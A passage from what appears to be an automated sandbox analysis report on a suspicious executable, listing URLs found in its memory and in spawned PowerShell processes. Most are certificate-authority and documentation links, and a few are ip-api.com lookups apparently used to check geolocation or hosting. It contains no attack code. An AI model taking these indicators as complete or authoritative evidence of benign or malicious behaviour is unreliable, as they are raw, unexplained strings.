00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000002.2126705796.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: program.exe, 00000001.00000003.1754035626.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE3AF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759827513.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106760693.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103757155.000001B5FE3AE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: program.exe, 00000001.00000003.1851814782.000001B5FE386000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759907670.000001B5FE389000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848103473.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE3AF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2109732740.000001B5FEE1E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1850937625.000001B5FE2B3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103020652.000001B5FEE1E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103489320.000001B5FE2B3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE388000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2002700653.000001B5FE2B3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106760693.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103757155.000001B5FE3AE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105351723.000001B5FDA10000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105991946.000001B5FE2B3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3B0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2104079256.000001B5FE3A6000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1852643951.000001B5FE39C000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1852439273.000001B5FE38C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000002.2126705796.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _hashlib.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000002.2126705796.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: program.exe, 00000001.00000002.2105759928.000001B5FDE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106483905.000001B5FE310000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848103473.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: program.exe, 00000001.00000003.1850937625.000001B5FE2B3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103489320.000001B5FE2B3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2002700653.000001B5FE2B3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105991946.000001B5FE2B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: program.exe, 00000001.00000002.2105991946.000001B5FE212000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103489320.000001B5FE212000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105351723.000001B5FDA10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000008.00000002.1906355908.000001A84B996000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1981454462.000001E9C1FA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908908412.000001E9B374D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000002.2126705796.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A64D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707020409.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706286849.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000002A.00000002.1908908412.000001E9B36F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1991968097.000001E9CA1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707762486.000002641A64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707762486.000002641A64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000008.00000002.1917964780.000001A853E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mic;
Source: powershell.exe, 00000008.00000002.1871103876.000001A83BB49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000008.00000002.1871103876.000001A83B921000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908908412.000001E9B1DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.1871103876.000001A83BB49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707762486.000002641A64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707762486.000002641A64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1707762486.000002641A64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
